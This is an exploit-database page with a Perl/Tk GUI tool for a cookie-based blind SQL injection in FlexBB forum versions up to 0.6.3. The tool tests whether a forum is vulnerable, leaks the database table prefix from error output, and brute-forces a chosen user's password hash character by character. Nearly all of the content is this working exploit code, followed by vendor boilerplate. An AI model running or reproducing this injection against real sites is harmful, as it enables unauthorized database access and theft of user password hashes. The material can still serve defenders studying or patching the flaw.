Lucene search
K

FlexBB <= 0.6.3 Cookies Remote SQL Injection Exploit

🗓️ 08 Jan 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Remote SQL Injection exploit for FlexBB <= 0.6.3, requires magic_quotes_gpc turned off and MySQL version higher than 4.1

Code

                                                #!/usr/bin/perl

	use&nbsp;Tk;
	use&nbsp;Tk::BrowseEntry;
	use&nbsp;Tk::DialogBox;
	use&nbsp;LWP::UserAgent;

	$mw&nbsp;=&nbsp;new&nbsp;MainWindow(title&nbsp;=&gt;&nbsp;&quot;UnderWHAT?!&quot;&nbsp;);

	$mw-&gt;geometry&nbsp;(&nbsp;'420x343'&nbsp;)&nbsp;;
	$mw-&gt;resizable(0,0);

	$mw-&gt;Label(-text&nbsp;=&gt;&nbsp;'',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text&nbsp;=&gt;&nbsp;'FlexBB&nbsp;&lt;=&nbsp;0.6.3&nbsp;Cookies&nbsp;Sql&nbsp;Injection',&nbsp;-font&nbsp;=&gt;&nbsp;'{Tahoma}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text&nbsp;=&gt;&nbsp;'it&nbsp;will&nbsp;take&nbsp;about&nbsp;half&nbsp;an&nbsp;hour&nbsp;to&nbsp;get&nbsp;hashed&nbsp;password',&nbsp;-font&nbsp;=&gt;&nbsp;'{Tahoma}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text&nbsp;=&gt;&nbsp;'you&nbsp;need&nbsp;magic_quotes_gpc&nbsp;turned&nbsp;off&nbsp;and&nbsp;mysql&nbsp;version&nbsp;higher&nbsp;that&nbsp;4.1',&nbsp;-font&nbsp;=&gt;&nbsp;'{Tahoma}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text&nbsp;=&gt;&nbsp;'',&nbsp;-font&nbsp;=&gt;&nbsp;'{Tahoma}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();


	$fleft&nbsp;&nbsp;=&nbsp;$mw-&gt;Frame()-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;'left',&nbsp;-anchor&nbsp;=&gt;&nbsp;'ne')&nbsp;;
	$fright&nbsp;=&nbsp;$mw-&gt;Frame()-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;'left',&nbsp;-anchor&nbsp;=&gt;&nbsp;'nw')&nbsp;;

	$url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;'http://test2.ru/flexbb&nbsp;v0.6.3&nbsp;beta/';
	$user_id&nbsp;&nbsp;=&nbsp;'1';
	$prefix&nbsp;&nbsp;&nbsp;=&nbsp;'flexbb_';
	$table&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;'users';
	$column&nbsp;&nbsp;&nbsp;=&nbsp;'user_password';
	$report&nbsp;&nbsp;&nbsp;=&nbsp;'';
	$group&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;1;
	$curr_user&nbsp;=&nbsp;0;
	


	$fleft-&gt;Label&nbsp;(&nbsp;-text&nbsp;=&gt;&nbsp;'Path&nbsp;to&nbsp;forum&nbsp;index:&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold')&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'e'&nbsp;)&nbsp;;
	$fright-&gt;Entry&nbsp;(&nbsp;-relief&nbsp;=&gt;&nbsp;&quot;groove&quot;,&nbsp;-width&nbsp;=&gt;&nbsp;35,&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8',&nbsp;-textvariable&nbsp;=&gt;&nbsp;\$url)&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'w'&nbsp;)&nbsp;;

	$fleft-&gt;Label&nbsp;(&nbsp;-text&nbsp;=&gt;&nbsp;'User&nbsp;ID:&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold'&nbsp;)&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'e'&nbsp;)&nbsp;;
	$fright-&gt;Entry&nbsp;(&nbsp;-relief&nbsp;=&gt;&nbsp;&quot;groove&quot;,&nbsp;-width&nbsp;=&gt;&nbsp;35,&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8',&nbsp;-textvariable&nbsp;=&gt;&nbsp;\$user_id)&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'w'&nbsp;)&nbsp;;

	$fleft-&gt;Label&nbsp;(&nbsp;-text&nbsp;=&gt;&nbsp;'Database&nbsp;tables&nbsp;prefix:&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold')&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'e'&nbsp;)&nbsp;;
	$fright-&gt;Entry&nbsp;(&nbsp;-relief&nbsp;=&gt;&nbsp;&quot;groove&quot;,&nbsp;-width&nbsp;=&gt;&nbsp;35,&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8',&nbsp;-textvariable&nbsp;=&gt;&nbsp;\$prefix)&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'w'&nbsp;)&nbsp;;

	$fleft-&gt;Label&nbsp;(&nbsp;-text&nbsp;=&gt;&nbsp;'Returned&nbsp;hash:&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold')&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'e'&nbsp;)&nbsp;;
	$fright-&gt;Entry&nbsp;(&nbsp;-relief&nbsp;=&gt;&nbsp;&quot;groove&quot;,&nbsp;-width&nbsp;=&gt;&nbsp;35,&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8',&nbsp;-textvariable&nbsp;=&gt;&nbsp;\$report)&nbsp;-&gt;pack&nbsp;(&nbsp;-side&nbsp;=&gt;&nbsp;&quot;top&quot;&nbsp;,&nbsp;-anchor&nbsp;=&gt;&nbsp;'w'&nbsp;)&nbsp;;

	$fright-&gt;Label(&nbsp;-text&nbsp;=&gt;&nbsp;'&nbsp;')-&gt;pack();

	$fright-&gt;Button(-text&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;'Test&nbsp;forum&nbsp;vulnerability',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-relief&nbsp;=&gt;&nbsp;&quot;groove&quot;,
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-width&nbsp;=&gt;&nbsp;'30',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-activeforeground&nbsp;=&gt;&nbsp;'red',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-command&nbsp;=&gt;&nbsp;\&amp;test_vuln
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)-&gt;pack();

	$fright-&gt;Button(-text&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;'Get&nbsp;database&nbsp;tables&nbsp;prefix',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-relief&nbsp;=&gt;&nbsp;&quot;groove&quot;,
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-width&nbsp;=&gt;&nbsp;'30',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-activeforeground&nbsp;=&gt;&nbsp;'red',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-command&nbsp;=&gt;&nbsp;\&amp;get_prefix
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)-&gt;pack();
	
	$fright-&gt;Button(-text&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;'Get&nbsp;hash&nbsp;from&nbsp;database',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-relief&nbsp;=&gt;&nbsp;&quot;groove&quot;,
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-width&nbsp;=&gt;&nbsp;'30',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-activeforeground&nbsp;=&gt;&nbsp;'red',
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-command&nbsp;=&gt;&nbsp;\&amp;get_hash
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)-&gt;pack();
				&nbsp;&nbsp;&nbsp;
				&nbsp;&nbsp;&nbsp;
	$mw&nbsp;&nbsp;&nbsp;-&gt;Label(-text&nbsp;=&gt;&nbsp;'',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'!',&nbsp;-font&nbsp;=&gt;&nbsp;'{Webdings}&nbsp;22')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'FlexBB&nbsp;0.6.3',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'cookie&nbsp;sql&nbsp;injection&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'mysql&nbsp;char&nbsp;bruteforcing&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'bug&nbsp;in&nbsp;template&nbsp;function&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'by&nbsp;gemaglabin&nbsp;and&nbsp;Elekt&nbsp;&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'(&nbsp;mafia&nbsp;of&nbsp;antichat.ru&nbsp;)&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text&nbsp;=&gt;&nbsp;'&nbsp;2007.02.04&nbsp;(&nbsp;fixed&nbsp;)&nbsp;',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;7&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$fright-&gt;Label(-text&nbsp;=&gt;&nbsp;'',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;3&nbsp;bold',-foreground=&gt;'red')-&gt;pack();
	$print=$fright-&gt;Text(-width=&gt;35,-height=&gt;5,-wrap=&gt;&quot;word&quot;)-&gt;pack(-side=&gt;&quot;top&quot;,-anchor=&gt;&quot;s&quot;);
	
	MainLoop();
	
	sub&nbsp;get_hash()
	{
		srand();
		$xpl&nbsp;=&nbsp;LWP::UserAgent-&gt;new(&nbsp;)&nbsp;or&nbsp;die;
		$InfoWindow=$mw-&gt;DialogBox(-title&nbsp;&nbsp;&nbsp;=&gt;&nbsp;'get&nbsp;hash&nbsp;from&nbsp;database',&nbsp;-buttons&nbsp;=&gt;&nbsp;[&quot;OK&quot;]);
		$i&nbsp;=&nbsp;1;
		$b&nbsp;=&nbsp;0;
		$report&nbsp;=&nbsp;'';
		my&nbsp;($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)&nbsp;=&nbsp;localtime(time);
		$print-&gt;insert('end',&quot;-&nbsp;Start&nbsp;[$hour:$min:$sec]\n&quot;);
		my&nbsp;@brutearray=qw(48&nbsp;49&nbsp;50&nbsp;51&nbsp;52&nbsp;53&nbsp;54&nbsp;55&nbsp;56&nbsp;57&nbsp;58&nbsp;97&nbsp;98&nbsp;99&nbsp;100&nbsp;101&nbsp;102);
		while&nbsp;(length($report)&lt;32)
		{
			$num&nbsp;=&nbsp;$brutearray[$b];
			$ret&nbsp;=&nbsp;get_pchar();
			if($ret&nbsp;&gt;&nbsp;0)
			{
				$print-&gt;insert('end',&quot;-&nbsp;char&nbsp;[$num]&nbsp;=&nbsp;&quot;.chr($num).&quot;\n&quot;);
				$report&nbsp;.=&nbsp;chr($num);
				$b&nbsp;=&nbsp;0;
				$i&nbsp;=&nbsp;$i&nbsp;+1;
				$mw-&gt;update();&nbsp;
				break;
			}
			else
			{
				$b&nbsp;=&nbsp;$b&nbsp;+1;
			}
		}
		my&nbsp;($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)&nbsp;=&nbsp;localtime(time);
		$print-&gt;insert('end',&quot;-&nbsp;Finish&nbsp;[$hour:$min:$sec]&quot;);
	}
		
	sub&nbsp;get_pchar()
	{
		$res&nbsp;=&nbsp;$xpl-&gt;get($url,'Cookie'=&gt;&quot;flexbb_temp_id=1'&nbsp;and&nbsp;1=if(ascii(substring((select&nbsp;password&nbsp;from&nbsp;&quot;.$prefix.&quot;users&nbsp;where&nbsp;id=$user_id),$i,1))=$num,1,(select&nbsp;1&nbsp;union&nbsp;select&nbsp;2))/*&quot;);
		if($res-&gt;as_string&nbsp;=~&nbsp;/more&nbsp;than/i)&nbsp;{&nbsp;return&nbsp;0;}
		else&nbsp;{return&nbsp;1;}
	}
		
	
	&nbsp;
	sub&nbsp;test_vuln()
	{
		$xpl&nbsp;=&nbsp;LWP::UserAgent-&gt;new(&nbsp;)&nbsp;or&nbsp;die;
		$res&nbsp;=&nbsp;$xpl-&gt;get($url,'Cookie'=&gt;&quot;flexbb_temp_id='&quot;);
		if($res-&gt;is_success)&nbsp;
		{
			$rep&nbsp;=&nbsp;'';
			if($res-&gt;as_string&nbsp;=~&nbsp;/MySQL&nbsp;Query/i)&nbsp;
			{&nbsp;
				$print-&gt;insert('end',&quot;-&nbsp;FORUM&nbsp;VULNERABLE\n&quot;);
			}
			else&nbsp;{&nbsp;$print-&gt;insert('end',&quot;-&nbsp;FORUM&nbsp;UNVULNERABLE\n&quot;);}&nbsp;
		}
	}

	sub&nbsp;get_prefix()
	{
		$InfoWindow=$mw-&gt;DialogBox(-title&nbsp;&nbsp;&nbsp;=&gt;&nbsp;'get&nbsp;database&nbsp;tables&nbsp;prefix',&nbsp;-buttons&nbsp;=&gt;&nbsp;[&quot;OK&quot;]);
		$InfoWindow-&gt;add('Label',&nbsp;-text&nbsp;=&gt;&nbsp;'',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8')-&gt;pack;
		$InfoWindow-&gt;add('Label',&nbsp;-text&nbsp;=&gt;&nbsp;$url,&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8')-&gt;pack;
		$InfoWindow-&gt;add('Label',&nbsp;-text&nbsp;=&gt;&nbsp;'',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8')-&gt;pack;
		$xpl&nbsp;=&nbsp;LWP::UserAgent-&gt;new(&nbsp;)&nbsp;or&nbsp;die;
		$res&nbsp;=&nbsp;$xpl-&gt;get($url,'Cookie'=&gt;&quot;flexbb_temp_id='&quot;);
		if($res-&gt;is_success)&nbsp;
		{
			$rep&nbsp;=&nbsp;'';
			if($res-&gt;as_string&nbsp;=~&nbsp;/FROM&nbsp;`(.*)templates/)&nbsp;{&nbsp;$prefix&nbsp;=&nbsp;$1;&nbsp;$InfoWindow-&gt;add('Label',&nbsp;-text&nbsp;=&gt;&nbsp;'Prefix:&nbsp;'.$prefix,&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold')-&gt;pack;&nbsp;}
			else&nbsp;{&nbsp;$InfoWindow-&gt;add('Label',&nbsp;-text&nbsp;=&gt;&nbsp;'Can\'t&nbsp;get&nbsp;prefix',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold',-foreground=&gt;'red')-&gt;pack;&nbsp;}&nbsp;
		}
		else
		{
			$InfoWindow-&gt;add('Label',&nbsp;-text&nbsp;=&gt;&nbsp;'Error!',&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8&nbsp;bold',-foreground=&gt;'red')-&gt;pack;
			$InfoWindow-&gt;add('Label',&nbsp;-text&nbsp;=&gt;&nbsp;$res-&gt;status_line,&nbsp;-font&nbsp;=&gt;&nbsp;'{Verdana}&nbsp;8')-&gt;pack;
		}&nbsp;
		$InfoWindow-&gt;Show();
		$InfoWindow-&gt;destroy;&nbsp;&nbsp;&nbsp;
	}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1
20